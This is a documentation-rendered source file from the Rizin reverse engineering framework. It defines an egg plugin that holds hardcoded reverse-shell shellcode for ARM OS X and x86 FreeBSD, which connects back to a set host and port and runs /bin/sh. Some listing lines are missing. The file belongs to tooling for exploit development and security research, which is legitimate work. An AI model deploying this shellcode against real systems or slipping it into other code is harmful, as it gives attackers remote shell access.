Rizin
unix-like reverse engineering framework and cli tools
egg_reverse.c
Go to the documentation of this file.
1 // SPDX-FileCopyrightText: 2013 pancake <pancake@nopcode.org>
2 // SPDX-License-Identifier: LGPL-3.0-only
3 
4 #include <rz_egg.h>
5 
6 unsigned long armle_osx_reverse[] = {
7  0xe3a00002, 0xe3a01001, 0xe3a02006, 0xe3a0c061, 0xef000080, 0xe1a0a000, 0xeb000001,
8  0x5c110200, //# port 4444
9  0x8700a8c0, //# host 192.168.0.135
10  0xe1a0000a, 0xe1a0100e, 0xe3a02010, 0xe3a0c062, 0xef000080,
11  0xe3a05002, 0xe3a0c05a, 0xe1a0000a, 0xe1a01005, 0xef000080,
12  0xe2455001, 0xe3550000, 0xaafffff8, 0xe3a00000, 0xe3a01001,
13  0xe3a0c07e, 0xef000080, 0xe0455005, 0xe1a0600d, 0xe24dd020,
14  0xe28f0014, 0xe4860000, 0xe5865004, 0xe1a01006, 0xe3a02000,
15  0xe3a0c03b, 0xef000080,
16  //# /bin/sh
17  0x6e69622f, 0x0068732f
18 };
19 
20 unsigned char x86_freebsd_reverse[] =
21  "\xeb\x68\x5e\x31\xc0\x31\xdb\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x53\xb0\x61"
22  "\xcd\x80\x89\xc2\xc6\x46\x01\x02\x66\xc7\x46\x02\x69\x7a\xb3\x10\x53\x8d\x1e"
23  "\x53\x50\x50\xb0\x62\xcd\x80\x31\xdb\x53\x52\xb0\x5a\x50\xcd\x80\xfe\xc3\x53"
24  "\x52\xb0\x5a\x50\xcd\x80\xfe\xc3\x53\x52\xb0\x5a\x50\xcd\x80\x31\xdb\x53\x8d"
25  "\x7e\x0f\x31\xc0\x31\xc9\xb1\x09\xf3\xaa\x8d\x5e\x08\x89\x5e\x10\x8d\x4e\x10"
26  "\x51\x53\x50\xb0\x3b\xcd\x80\xb0\x01\xcd\x80\xe8\x93\xff\xff\xff\x41\x42\x43"
27  "\x43\x7f\x00\x00\x01\x2f\x62\x69\x6e\x2f\x73\x68";
28 
29 static RzBuffer *build(RzEgg *egg) {
31  const ut8 *sc = NULL;
32  int cd = 0;
33  char *port = rz_egg_option_get(egg, "port");
34  // TODO: char *udp = rz_egg_option_get (egg, "udp");
35  switch (egg->os) {
36  case RZ_EGG_OS_OSX:
37  case RZ_EGG_OS_DARWIN:
38  switch (egg->arch) {
39  case RZ_SYS_ARCH_ARM:
41  cd = 7 + 36;
42  break;
43  }
44  break;
45  case RZ_EGG_OS_FREEBSD:
46  switch (egg->arch) {
47  case RZ_SYS_ARCH_X86:
48  switch (egg->bits) {
49  case 32: sc = x86_freebsd_reverse; break;
50  default: eprintf("Unsupportted\n");
51  }
52  break;
53  }
54  break;
55  default:
56  eprintf("unsupported os %x\n", egg->os);
57  break;
58  }
59  if (sc) {
60  rz_buf_set_bytes(buf, sc, strlen((const char *)sc));
61  if (shell && *shell) {
62  if (cd)
63  rz_buf_write_at(buf, cd, (const ut8 *)shell, strlen(shell) + 1);
64  else
65  eprintf("Cannot set shell\n");
66  }
67  }
68  free(suid);
69  free(shell);
70  return buf;
71 }
72 
73 // TODO: rename plugin to run
75  .name = "bind",
77  .desc = "listen port=4444",
78  .build = (void *)build
79 };
80 
81 #ifndef RZ_PLUGIN_INCORE
84  .data = &rz_egg_plugin_bind,
85  .version = RZ_VERSION
86 };
87 #endif
static csh cd
Definition: asm_mips_cs.c:10
#define RZ_API
#define NULL
Definition: cris-opc.c:27
RZ_API char * rz_egg_option_get(RzEgg *egg, const char *key)
Definition: egg.c:534
static char sc[]
Definition: egg_cb.c:6
unsigned long armle_osx_reverse[]
Definition: egg_reverse.c:6
static RzBuffer * build(RzEgg *egg)
Definition: egg_reverse.c:29
RZ_API RzLibStruct rizin_plugin
Definition: egg_reverse.c:82
RzEggPlugin rz_egg_plugin_bind
Definition: egg_reverse.c:74
unsigned char x86_freebsd_reverse[]
Definition: egg_reverse.c:20
RZ_API void Ht_() free(HtName_(Ht) *ht)
Definition: ht_inc.c:130
voidpf void * buf
Definition: ioapi.h:138
uint8_t ut8
Definition: lh5801.h:11
#define eprintf(x, y...)
Definition: rlcc.c:7
RZ_API st64 rz_buf_write_at(RZ_NONNULL RzBuffer *b, ut64 addr, RZ_NONNULL const ut8 *buf, ut64 len)
Write len bytes of the buffer at the specified address.
Definition: buf.c:1197
RZ_API bool rz_buf_set_bytes(RZ_NONNULL RzBuffer *b, RZ_NONNULL const ut8 *buf, ut64 len)
Replace the content of the buffer with the bytes array.
Definition: buf.c:905
RZ_API RZ_OWN RzBuffer * rz_buf_new_with_bytes(RZ_NULLABLE RZ_BORROW const ut8 *bytes, ut64 len)
Creates a new buffer with a bytes array.
Definition: buf.c:465
#define RZ_EGG_PLUGIN_SHELLCODE
Definition: rz_egg.h:19
#define RZ_EGG_OS_DARWIN
Definition: rz_egg.h:129
#define RZ_EGG_OS_OSX
Definition: rz_egg.h:128
#define RZ_EGG_OS_FREEBSD
Definition: rz_egg.h:136
@ RZ_LIB_TYPE_EGG
Definition: rz_lib.h:84
@ RZ_SYS_ARCH_X86
Definition: rz_types.h:532
@ RZ_SYS_ARCH_ARM
Definition: rz_types.h:533
#define RZ_VERSION
Definition: rz_version.h:8
const char * name
Definition: rz_egg.h:23
int bits
Definition: rz_egg.h:108
int arch
Definition: rz_egg.h:106
ut32 os
Definition: rz_egg.h:109